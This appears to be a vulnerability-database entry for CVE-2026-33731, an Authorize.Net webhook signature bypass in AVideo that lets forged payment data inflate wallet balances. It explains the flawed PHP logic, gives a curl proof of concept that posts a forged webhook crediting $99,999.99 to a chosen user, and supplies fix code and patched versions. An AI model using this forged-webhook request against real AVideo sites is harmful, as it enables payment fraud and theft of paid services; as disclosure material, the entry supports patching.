CVE-2026-33731Medium· 6.5▾ SunlitAVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 17.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.2%
The Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.
Three flaws combine into an exploit chain:
if (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {
http_response_code(401);
echo 'invalid signature';
exit;
}
The webhook is rejected only when both conditions are true: the signature is invalid AND the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), getTransactionDetails() succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.
In analyzeTransactionFromWebhook(), users_id and amount are extracted from the attacker-controlled webhook payload first:
$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;
$amount = isset($payload['amount']) ? (float)$payload['amount'] : ...;
The fallback logic in webhook.php only applies when the analysis values are empty/falsy:
if (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (!$analysis['amount'] && isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}
Since the forged payload already provides both values, the authoritative API-fetched values are never used.
The code checks only that users_id and amount are non-empty before calling processSinglePayment(). The isApproved field is computed in analyzeTransactionFromWebhook() (line 222-228) but never verified before crediting the wallet at line 68-75.
Prerequisites: Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., 60123456789).
curl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \
-H 'Content-Type: application/json' \
-d '{
"eventType": "net.authorize.payment.authcapture.created",
"payload": {
"id": "60123456789",
"amount": 99999.99,
"responseCode": 1,
"metadata": {
"users_id": 2
}
}
}'
The signature check fails (no X-ANET-Signature header), but getTransactionDetails('60123456789') succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues.
analyzeTransactionFromWebhook() uses the forged payload's amount: 99999.99 and metadata.users_id: 2.
processSinglePayment() credits $99,999.99 to user ID 2's wallet via addBalance().
The dedup key is sha1('net.authorize.payment.authcapture.created' . '60123456789'), so the legitimate webhook arriving later is silently discarded as a duplicate.
The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.
plans_id in forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment.1. Reject webhooks with invalid signatures unconditionally — the transaction lookup should only be used for data enrichment after signature validation passes:
// webhook.php line 33 — FIX: reject on invalid signature alone
if (!$parsed['signatureValid']) {
_error_log('[Authorize.Net webhook] Bad signature');
http_response_code(401);
echo 'invalid signature';
exit;
}
2. Use API-fetched values as authoritative — in webhook.php lines 44-55, invert the precedence so $txnInfo values always override payload values:
// Always prefer API-fetched values over payload values
if (!empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}
3. Check isApproved before processing — add a gate before processSinglePayment():
if (!$analysis['isApproved']) {
_error_log('[Authorize.Net webhook] Transaction not approved');
http_response_code(400);
echo 'transaction not approved';
exit;
}
wwbn/avideo <= 28.0Upgrade to a patched release:
wwbn/avideo 29.0Connected by shared product, vendor, weakness, or advisory.
GHSA-xj9w-cgqg-q897Medium· 6.5Duplicate Advisory: AVideo has Unauthenticated PGP Message Decryption via Public Endpoint
CVE-2026-56346MediumAVideo has Unauthenticated PGP Message Decryption via Public Endpoint
GHSA-rg7q-4223-phjwHigh· 7.5Duplicate Advisory: AVideo: Unauthenticated Access to Payment Log DataTables Endpoints Exposes Transaction Data, PayPal Tokens, and User Financial Records
CVE-2026-56341High· 7.5AVideo: Unauthenticated Access to Payment Log DataTables Endpoints Exposes Transaction Data, PayPal Tokens, and User Financial Records
CVE-2026-33684Medium· 5.3AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
CVE-2026-33692High· 7.5AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration